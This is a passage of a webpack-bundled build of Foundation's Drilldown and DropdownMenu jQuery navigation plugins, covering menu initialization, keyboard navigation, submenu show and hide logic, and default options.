  • ');\n }\n\n $link.data('savedHref', $link.attr('href')).removeAttr('href').attr('tabindex', 0);\n $link.children('[data-submenu]').attr({\n 'aria-hidden': true,\n 'tabindex': 0,\n 'role': 'group'\n });\n\n _this._events($link);\n });\n this.$submenus.each(function () {\n var $menu = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $back = $menu.find('.js-drilldown-back');\n\n if (!$back.length) {\n switch (_this.options.backButtonPosition) {\n case \"bottom\":\n $menu.append(_this.options.backButton);\n break;\n\n case \"top\":\n $menu.prepend(_this.options.backButton);\n break;\n\n default:\n console.error(\"Unsupported backButtonPosition value '\" + _this.options.backButtonPosition + \"'\");\n }\n }\n\n _this._back($menu);\n });\n this.$submenus.addClass('invisible');\n\n if (!this.options.autoHeight) {\n this.$submenus.addClass('drilldown-submenu-cover-previous');\n } // create a wrapper on element if it doesn't exist.\n\n\n if (!this.$element.parent().hasClass('is-drilldown')) {\n this.$wrapper = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.wrapper).addClass('is-drilldown');\n if (this.options.animateHeight) this.$wrapper.addClass('animate-height');\n this.$element.wrap(this.$wrapper);\n } // set wrapper\n\n\n this.$wrapper = this.$element.parent();\n this.$wrapper.css(this._getMaxDims());\n }\n }, {\n key: \"_resize\",\n value: function _resize() {\n this.$wrapper.css({\n 'max-width': 'none',\n 'min-height': 'none'\n }); // _getMaxDims has side effects (boo) but calling it should update all other necessary heights & widths\n\n this.$wrapper.css(this._getMaxDims());\n }\n /**\n * Adds event handlers to elements in the menu.\n * @function\n * @private\n * @param {jQuery} $elem - the current menu item to add handlers to.\n */\n\n }, {\n key: \"_events\",\n value: function _events($elem) {\n var _this = this;\n\n $elem.off('click.zf.drilldown').on('click.zf.drilldown', function (e) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', 'li').hasClass('is-drilldown-submenu-parent')) {\n e.stopImmediatePropagation();\n e.preventDefault();\n } // if(e.target !== e.currentTarget.firstElementChild){\n // return false;\n // }\n\n\n _this._show($elem.parent('li'));\n\n if (_this.options.closeOnClick) {\n var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()('body');\n $body.off('.zf.drilldown').on('click.zf.drilldown', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target)) {\n return;\n }\n\n e.preventDefault();\n\n _this._hideAll();\n\n $body.off('.zf.drilldown');\n });\n }\n });\n }\n /**\n * Adds event handlers to the menu element.\n * @function\n * @private\n */\n\n }, {\n key: \"_registerEvents\",\n value: function _registerEvents() {\n if (this.options.scrollTop) {\n this._bindHandler = this._scrollTop.bind(this);\n this.$element.on('open.zf.drilldown hide.zf.drilldown closed.zf.drilldown', this._bindHandler);\n }\n\n this.$element.on('mutateme.zf.trigger', this._resize.bind(this));\n }\n /**\n * Scroll to Top of Element or data-scroll-top-element\n * @function\n * @fires Drilldown#scrollme\n */\n\n }, {\n key: \"_scrollTop\",\n value: function _scrollTop() {\n var _this = this;\n\n var $scrollTopElement = _this.options.scrollTopElement != '' ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(_this.options.scrollTopElement) : _this.$element,\n scrollPos = parseInt($scrollTopElement.offset().top + _this.options.scrollTopOffset, 10);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html, body').stop(true).animate({\n scrollTop: scrollPos\n }, _this.options.animationDuration, _this.options.animationEasing, function () {\n /**\n * Fires after the menu has scrolled\n * @event Drilldown#scrollme\n */\n if (this === jquery__WEBPACK_IMPORTED_MODULE_0___default()('html')[0]) _this.$element.trigger('scrollme.zf.drilldown');\n });\n }\n /**\n * Adds keydown event listener to `li`'s in the menu.\n * @private\n */\n\n }, {\n key: \"_keyboardEvents\",\n value: function _keyboardEvents() {\n var _this = this;\n\n this.$menuItems.add(this.$element.find('.js-drilldown-back > a, .is-submenu-parent-item > a')).on('keydown.zf.drilldown', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $elements = $element.parent('li').parent('ul').children('li').children('a'),\n $prevElement,\n $nextElement;\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(Math.max(0, i - 1));\n $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1));\n return;\n }\n });\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].handleKey(e, 'Drilldown', {\n next: function next() {\n if ($element.is(_this.$submenuAnchors)) {\n _this._show($element.parent('li'));\n\n $element.parent('li').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n $element.parent('li').find('ul li a').not('.js-drilldown-back a').first().focus();\n });\n return true;\n }\n },\n previous: function previous() {\n _this._hide($element.parent('li').parent('ul'));\n\n $element.parent('li').parent('ul').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n setTimeout(function () {\n $element.parent('li').parent('ul').parent('li').children('a').first().focus();\n }, 1);\n });\n return true;\n },\n up: function up() {\n $prevElement.focus(); // Don't tap focus on first element in root ul\n\n return !$element.is(_this.$element.find('> li:first-child > a'));\n },\n down: function down() {\n $nextElement.focus(); // Don't tap focus on last element in root ul\n\n return !$element.is(_this.$element.find('> li:last-child > a'));\n },\n close: function close() {\n // Don't close on element in root ul\n if (!$element.is(_this.$element.find('> li > a'))) {\n _this._hide($element.parent().parent());\n\n $element.parent().parent().siblings('a').focus();\n }\n },\n open: function open() {\n if (_this.options.parentLink && $element.attr('href')) {\n // Link with href\n return false;\n } else if (!$element.is(_this.$menuItems)) {\n // not menu item means back button\n _this._hide($element.parent('li').parent('ul'));\n\n $element.parent('li').parent('ul').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n setTimeout(function () {\n $element.parent('li').parent('ul').parent('li').children('a').first().focus();\n }, 1);\n });\n return true;\n } else if ($element.is(_this.$submenuAnchors)) {\n // Sub menu item\n _this._show($element.parent('li'));\n\n $element.parent('li').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n $element.parent('li').find('ul li a').not('.js-drilldown-back a').first().focus();\n });\n return true;\n }\n },\n handled: function handled(preventDefault) {\n if (preventDefault) {\n e.preventDefault();\n }\n\n e.stopImmediatePropagation();\n }\n });\n }); // end keyboardAccess\n }\n /**\n * Closes all open elements, and returns to root menu.\n * @function\n * @fires Drilldown#closed\n */\n\n }, {\n key: \"_hideAll\",\n value: function _hideAll() {\n var $elem = this.$element.find('.is-drilldown-submenu.is-active').addClass('is-closing');\n if (this.options.autoHeight) this.$wrapper.css({\n height: $elem.parent().closest('ul').data('calcHeight')\n });\n $elem.one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($elem), function (e) {\n $elem.removeClass('is-active is-closing');\n });\n /**\n * Fires when the menu is fully closed.\n * @event Drilldown#closed\n */\n\n this.$element.trigger('closed.zf.drilldown');\n }\n /**\n * Adds event listener for each `back` button, and closes open menus.\n * @function\n * @fires Drilldown#back\n * @param {jQuery} $elem - the current sub-menu to add `back` event.\n */\n\n }, {\n key: \"_back\",\n value: function _back($elem) {\n var _this = this;\n\n $elem.off('click.zf.drilldown');\n $elem.children('.js-drilldown-back').on('click.zf.drilldown', function (e) {\n e.stopImmediatePropagation(); // console.log('mouseup on back');\n\n _this._hide($elem); // If there is a parent submenu, call show\n\n\n var parentSubMenu = $elem.parent('li').parent('ul').parent('li');\n\n if (parentSubMenu.length) {\n _this._show(parentSubMenu);\n }\n });\n }\n /**\n * Adds event listener to menu items w/o submenus to close open menus on click.\n * @function\n * @private\n */\n\n }, {\n key: \"_menuLinkEvents\",\n value: function _menuLinkEvents() {\n var _this = this;\n\n this.$menuItems.not('.is-drilldown-submenu-parent').off('click.zf.drilldown').on('click.zf.drilldown', function (e) {\n // e.stopImmediatePropagation();\n setTimeout(function () {\n _this._hideAll();\n }, 0);\n });\n }\n /**\n * Sets the CSS classes for submenu to show it.\n * @function\n * @private\n * @param {jQuery} $elem - the target submenu (`ul` tag)\n * @param {boolean} trigger - trigger drilldown event\n */\n\n }, {\n key: \"_setShowSubMenuClasses\",\n value: function _setShowSubMenuClasses($elem, trigger) {\n $elem.addClass('is-active').removeClass('invisible').attr('aria-hidden', false);\n $elem.parent('li').attr('aria-expanded', true);\n\n if (trigger === true) {\n this.$element.trigger('open.zf.drilldown', [$elem]);\n }\n }\n /**\n * Sets the CSS classes for submenu to hide it.\n * @function\n * @private\n * @param {jQuery} $elem - the target submenu (`ul` tag)\n * @param {boolean} trigger - trigger drilldown event\n */\n\n }, {\n key: \"_setHideSubMenuClasses\",\n value: function _setHideSubMenuClasses($elem, trigger) {\n $elem.removeClass('is-active').addClass('invisible').attr('aria-hidden', true);\n $elem.parent('li').attr('aria-expanded', false);\n\n if (trigger === true) {\n $elem.trigger('hide.zf.drilldown', [$elem]);\n }\n }\n /**\n * Opens a specific drilldown (sub)menu no matter which (sub)menu in it is currently visible.\n * Compared to _show() this lets you jump into any submenu without clicking through every submenu on the way to it.\n * @function\n * @fires Drilldown#open\n * @param {jQuery} $elem - the target (sub)menu (`ul` tag)\n * @param {boolean} autoFocus - if true the first link in the target (sub)menu gets auto focused\n */\n\n }, {\n key: \"_showMenu\",\n value: function _showMenu($elem, autoFocus) {\n var _this = this; // Reset drilldown\n\n\n var $expandedSubmenus = this.$element.find('li[aria-expanded=\"true\"] > ul[data-submenu]');\n $expandedSubmenus.each(function (index) {\n _this._setHideSubMenuClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n }); // Save the menu as the currently displayed one.\n\n this.$currentMenu = $elem; // If target menu is root, focus first link & exit\n\n if ($elem.is('[data-drilldown]')) {\n if (autoFocus === true) $elem.find('li[role=\"treeitem\"] > a').first().focus();\n if (this.options.autoHeight) this.$wrapper.css('height', $elem.data('calcHeight'));\n return;\n } // Find all submenus on way to root incl. the element itself\n\n\n var $submenus = $elem.children().first().parentsUntil('[data-drilldown]', '[data-submenu]'); // Open target menu and all submenus on its way to root\n\n $submenus.each(function (index) {\n // Update height of first child (target menu) if autoHeight option true\n if (index === 0 && _this.options.autoHeight) {\n _this.$wrapper.css('height', jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('calcHeight'));\n }\n\n var isLastChild = index == $submenus.length - 1; // Add transitionsend listener to last child (root due to reverse order) to open target menu's first link\n // Last child makes sure the event gets always triggered even if going through several menus\n\n if (isLastChild === true) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)), function () {\n if (autoFocus === true) {\n $elem.find('li[role=\"treeitem\"] > a').first().focus();\n }\n });\n }\n\n _this._setShowSubMenuClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), isLastChild);\n });\n }\n /**\n * Opens a submenu.\n * @function\n * @fires Drilldown#open\n * @param {jQuery} $elem - the current element with a submenu to open, i.e. the `li` tag.\n */\n\n }, {\n key: \"_show\",\n value: function _show($elem) {\n var $submenu = $elem.children('[data-submenu]');\n $elem.attr('aria-expanded', true);\n this.$currentMenu = $submenu;\n $submenu.addClass('is-active').removeClass('invisible').attr('aria-hidden', false);\n\n if (this.options.autoHeight) {\n this.$wrapper.css({\n height: $submenu.data('calcHeight')\n });\n }\n /**\n * Fires when the submenu has opened.\n * @event Drilldown#open\n */\n\n\n this.$element.trigger('open.zf.drilldown', [$elem]);\n }\n /**\n * Hides a submenu\n * @function\n * @fires Drilldown#hide\n * @param {jQuery} $elem - the current sub-menu to hide, i.e. the `ul` tag.\n */\n\n }, {\n key: \"_hide\",\n value: function _hide($elem) {\n if (this.options.autoHeight) this.$wrapper.css({\n height: $elem.parent().closest('ul').data('calcHeight')\n });\n\n var _this = this;\n\n $elem.parent('li').attr('aria-expanded', false);\n $elem.attr('aria-hidden', true);\n $elem.addClass('is-closing').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($elem), function () {\n $elem.removeClass('is-active is-closing');\n $elem.blur().addClass('invisible');\n });\n /**\n * Fires when the submenu has closed.\n * @event Drilldown#hide\n */\n\n $elem.trigger('hide.zf.drilldown', [$elem]);\n }\n /**\n * Iterates through the nested menus to calculate the min-height, and max-width for the menu.\n * Prevents content jumping.\n * @function\n * @private\n */\n\n }, {\n key: \"_getMaxDims\",\n value: function _getMaxDims() {\n var maxHeight = 0,\n result = {},\n _this = this; // Recalculate menu heights and total max height\n\n\n this.$submenus.add(this.$element).each(function () {\n var numOfElems = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('li').length;\n var height = _foundation_util_box__WEBPACK_IMPORTED_MODULE_4__[\"Box\"].GetDimensions(this).height;\n maxHeight = height > maxHeight ? height : maxHeight;\n\n if (_this.options.autoHeight) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('calcHeight', height);\n }\n });\n if (this.options.autoHeight) result['height'] = this.$currentMenu.data('calcHeight');else result['min-height'] = \"\".concat(maxHeight, \"px\");\n result['max-width'] = \"\".concat(this.$element[0].getBoundingClientRect().width, \"px\");\n return result;\n }\n /**\n * Destroys the Drilldown Menu\n * @function\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n if (this.options.scrollTop) this.$element.off('.zf.drilldown', this._bindHandler);\n\n this._hideAll();\n\n this.$element.off('mutateme.zf.trigger');\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Burn(this.$element, 'drilldown');\n this.$element.unwrap().find('.js-drilldown-back, .is-submenu-parent-item').remove().end().find('.is-active, .is-closing, .is-drilldown-submenu').removeClass('is-active is-closing is-drilldown-submenu').end().find('[data-submenu]').removeAttr('aria-hidden tabindex role');\n this.$submenuAnchors.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).off('.zf.drilldown');\n });\n this.$element.find('[data-is-parent-link]').detach();\n this.$submenus.removeClass('drilldown-submenu-cover-previous invisible');\n this.$element.find('a').each(function () {\n var $link = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n $link.removeAttr('tabindex');\n\n if ($link.data('savedHref')) {\n $link.attr('href', $link.data('savedHref')).removeData('savedHref');\n } else {\n return;\n }\n });\n }\n }]);\n\n return Drilldown;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__[\"Plugin\"]);\n\nDrilldown.defaults = {\n /**\n * Drilldowns depend on styles in order to function properly; in the default build of Foundation these are\n * on the `drilldown` class. This option auto-applies this class to the drilldown upon initialization.\n * @option\n * @type {boolian}\n * @default true\n */\n autoApplyClass: true,\n\n /**\n * Markup used for JS generated back button. Prepended or appended (see backButtonPosition) to submenu lists and deleted on `destroy` method, 'js-drilldown-back' class required. Remove the backslash (`\\`) if copy and pasting.\n * @option\n * @type {string}\n * @default '
  • Back
  • '\n */\n backButton: '
  • Back
  • ',\n\n /**\n * Position the back button either at the top or bottom of drilldown submenus. Can be `'left'` or `'bottom'`.\n * @option\n * @type {string}\n * @default top\n */\n backButtonPosition: 'top',\n\n /**\n * Markup used to wrap drilldown menu. Use a class name for independent styling; the JS applied class: `is-drilldown` is required. Remove the backslash (`\\`) if copy and pasting.\n * @option\n * @type {string}\n * @default '
    '\n */\n wrapper: '
    ',\n\n /**\n * Adds the parent link to the submenu.\n * @option\n * @type {boolean}\n * @default false\n */\n parentLink: false,\n\n /**\n * Allow the menu to return to root list on body click.\n * @option\n * @type {boolean}\n * @default false\n */\n closeOnClick: false,\n\n /**\n * Allow the menu to auto adjust height.\n * @option\n * @type {boolean}\n * @default false\n */\n autoHeight: false,\n\n /**\n * Animate the auto adjust height.\n * @option\n * @type {boolean}\n * @default false\n */\n animateHeight: false,\n\n /**\n * Scroll to the top of the menu after opening a submenu or navigating back using the menu back button\n * @option\n * @type {boolean}\n * @default false\n */\n scrollTop: false,\n\n /**\n * String jquery selector (for example 'body') of element to take offset().top from, if empty string the drilldown menu offset().top is taken\n * @option\n * @type {string}\n * @default ''\n */\n scrollTopElement: '',\n\n /**\n * ScrollTop offset\n * @option\n * @type {number}\n * @default 0\n */\n scrollTopOffset: 0,\n\n /**\n * Scroll animation duration\n * @option\n * @type {number}\n * @default 500\n */\n animationDuration: 500,\n\n /**\n * Scroll animation easing. Can be `'swing'` or `'linear'`.\n * @option\n * @type {string}\n * @see {@link https://api.jquery.com/animate|JQuery animate}\n * @default 'swing'\n */\n animationEasing: 'swing' // holdOpen: false\n\n};\n\n\n//# sourceURL=webpack:///./js/foundation.drilldown.js?")},"./js/foundation.dropdownMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"DropdownMenu\", function() { return DropdownMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.util.box */ \"./js/foundation.util.box.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n/**\n * DropdownMenu module.\n * @module foundation.dropdown-menu\n * @requires foundation.util.keyboard\n * @requires foundation.util.box\n * @requires foundation.util.nest\n */\n\nvar DropdownMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(DropdownMenu, _Plugin);\n\n function DropdownMenu() {\n _classCallCheck(this, DropdownMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(DropdownMenu).apply(this, arguments));\n }\n\n _createClass(DropdownMenu, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of DropdownMenu.\n * @class\n * @name DropdownMenu\n * @fires DropdownMenu#init\n * @param {jQuery} element - jQuery object to make into a dropdown menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, DropdownMenu.defaults, this.$element.data(), options);\n this.className = 'DropdownMenu'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__[\"Keyboard\"].register('DropdownMenu', {\n 'ENTER': 'open',\n 'SPACE': 'open',\n 'ARROW_RIGHT': 'next',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'previous',\n 'ESCAPE': 'close'\n });\n }\n /**\n * Initializes the plugin, and calls _prepareMenu\n * @private\n * @function\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__[\"Nest\"].Feather(this.$element, 'dropdown');\n var subs = this.$element.find('li.is-dropdown-submenu-parent');\n this.$element.children('.is-dropdown-submenu-parent').children('.is-dropdown-submenu').addClass('first-sub');\n this.$menuItems = this.$element.find('[role=\"menuitem\"]');\n this.$tabs = this.$element.children('[role=\"menuitem\"]');\n this.$tabs.find('ul.is-dropdown-submenu').addClass(this.options.verticalClass);\n\n if (this.options.alignment === 'auto') {\n if (this.$element.hasClass(this.options.rightClass) || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"rtl\"])() || this.$element.parents('.top-bar-right').is('*')) {\n this.options.alignment = 'right';\n subs.addClass('opens-left');\n } else {\n this.options.alignment = 'left';\n subs.addClass('opens-right');\n }\n } else {\n if (this.options.alignment === 'right') {\n subs.addClass('opens-left');\n } else {\n subs.addClass('opens-right');\n }\n }\n\n this.changed = false;\n\n this._events();\n }\n }, {\n key: \"_isVertical\",\n value: function _isVertical() {\n return this.$tabs.css('display') === 'block' || this.$element.css('flex-direction') === 'column';\n }\n }, {\n key: \"_isRtl\",\n value: function _isRtl() {\n return this.$element.hasClass('align-right') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"rtl\"])() && !this.$element.hasClass('align-left');\n }\n /**\n * Adds event listeners to elements within the menu\n * @private\n * @function\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this = this,\n hasTouch = 'ontouchstart' in window || typeof window.ontouchstart !== 'undefined',\n parClass = 'is-dropdown-submenu-parent'; // used for onClick and in the keyboard handlers\n\n\n var handleClickFn = function handleClickFn(e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', \".\".concat(parClass)),\n hasSub = $elem.hasClass(parClass),\n hasClicked = $elem.attr('data-is-click') === 'true',\n $sub = $elem.children('.is-dropdown-submenu');\n\n if (hasSub) {\n if (hasClicked) {\n if (!_this.options.closeOnClick || !_this.options.clickOpen && !hasTouch || _this.options.forceFollow && hasTouch) {\n return;\n } else {\n e.stopImmediatePropagation();\n e.preventDefault();\n\n _this._hide($elem);\n }\n } else {\n e.preventDefault();\n e.stopImmediatePropagation();\n\n _this._show($sub);\n\n $elem.add($elem.parentsUntil(_this.$element, \".\".concat(parClass))).attr('data-is-click', true);\n }\n }\n };\n\n if (this.options.clickOpen || hasTouch) {\n this.$menuItems.on('click.zf.dropdownmenu touchstart.zf.dropdownmenu', handleClickFn);\n } // Handle Leaf element Clicks\n\n\n if (_this.options.closeOnClickInside) {\n this.$menuItems.on('click.zf.dropdownmenu', function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (!hasSub) {\n _this._hide();\n }\n });\n }\n\n if (!this.options.disableHover) {\n this.$menuItems.on('mouseenter.zf.dropdownmenu', function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (hasSub) {\n clearTimeout($elem.data('_delay'));\n $elem.data('_delay', setTimeout(function () {\n _this._show($elem.children('.is-dropdown-submenu'));\n }, _this.options.hoverDelay));\n }\n }).on('mouseleave.zf.dropdownMenu', Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"ignoreMousedisappear\"])(function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (hasSub && _this.options.autoclose) {\n if ($elem.attr('data-is-click') === 'true' && _this.options.clickOpen) {\n return false;\n }\n\n clearTimeout($elem.data('_delay'));\n $elem.data('_delay', setTimeout(function () {\n _this._hide($elem);\n }, _this.options.closingTime));\n }\n }));\n }\n\n this.$menuItems.on('keydown.zf.dropdownmenu', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', '[role=\"menuitem\"]'),\n isTab = _this.$tabs.index($element) > -1,\n $elements = isTab ? _this.$tabs : $element.siblings('li').add($element),\n $prevElement,\n $nextElement;\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(i - 1);\n $nextElement = $elements.eq(i + 1);\n return;\n }\n });\n\n var nextSibling = function nextSibling() {\n $nextElement.children('a:first').focus();\n e.preventDefault();\n },\n prevSibling = function prevSibling() {\n $prevElement.children('a:first').focus();\n e.preventDefault();\n },\n openSub = function openSub() {\n var $sub = $element.children('ul.is-dropdown-submenu');\n\n if ($sub.length) {\n _this._show($sub);\n\n $element.find('li > a:first').focus();\n e.preventDefault();\n } else {\n return;\n }\n },\n closeSub = function closeSub() {\n //if ($element.is(':first-child')) {\n var close = $element.parent('ul').parent('li');\n close.children('a:first').focus();\n\n _this._hide(close);\n\n e.preventDefault(); //}\n };\n\n var functions = {\n open: openSub,\n close: function close() {\n _this._hide(_this.$element);\n\n _this.$menuItems.eq(0).children('a').focus(); // focus to first element\n\n\n e.preventDefault();\n },\n handled: function handled() {\n e.stopImmediatePropagation();\n }\n };\n\n if (isTab) {\n if (_this._isVertical()) {\n // vertical menu\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n down: nextSibling,\n up: prevSibling,\n next: closeSub,\n previous: openSub\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n down: nextSibling,\n up: prevSibling,\n next: openSub,\n previous: closeSub\n });\n }\n } else {\n // horizontal menu\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: prevSibling,\n previous: nextSibling,\n down: openSub,\n up: closeSub\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: nextSibling,\n previous: prevSibling,\n down: openSub,\n up: closeSub\n });\n }\n }\n } else {\n // not tabs -> one sub\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: closeSub,\n previous: openSub,\n down: nextSibling,\n up: prevSibling\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: openSub,\n previous: closeSub,\n down: nextSibling,\n up: prevSibling\n });\n }\n }\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__[\"Keyboard\"].handleKey(e, 'DropdownMenu', functions);\n });\n }\n /**\n * Adds an event handler to the body to close any dropdowns on a click.\n * @function\n * @private\n */\n\n }, {\n key: \"_addBodyHandler\",\n value: function _addBodyHandler() {\n var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body),\n _this = this;\n\n $body.off('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu').on('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu', function (e) {\n var $link = _this.$element.find(e.target);\n\n if ($link.length) {\n return;\n }\n\n _this._hide();\n\n $body.off('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu');\n });\n }\n /**\n * Opens a dropdown pane, and checks for collisions first.\n * @param {jQuery} $sub - ul element that is a submenu to show\n * @function\n * @private\n * @fires Dropdownmenu#show\n */\n\n }, {\n key: \"_show\",\n value: function _show($sub) {\n var idx = this.$tabs.index(this.$tabs.filter(function (i, el) {\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()(el).find($sub).length > 0;\n }));\n var $sibs = $sub.parent('li.is-dropdown-submenu-parent').siblings('li.is-dropdown-submenu-parent');\n\n this._hide($sibs, idx);\n\n $sub.css('visibility', 'hidden').addClass('js-dropdown-active').parent('li.is-dropdown-submenu-parent').addClass('is-active');\n var clear = _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__[\"Box\"].ImNotTouchingYou($sub, null, true);\n\n if (!clear) {\n var oldClass = this.options.alignment === 'left' ? '-right' : '-left',\n $parentLi = $sub.parent('.is-dropdown-submenu-parent');\n $parentLi.removeClass(\"opens\".concat(oldClass)).addClass(\"opens-\".concat(this.options.alignment));\n clear = _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__[\"Box\"].ImNotTouchingYou($sub, 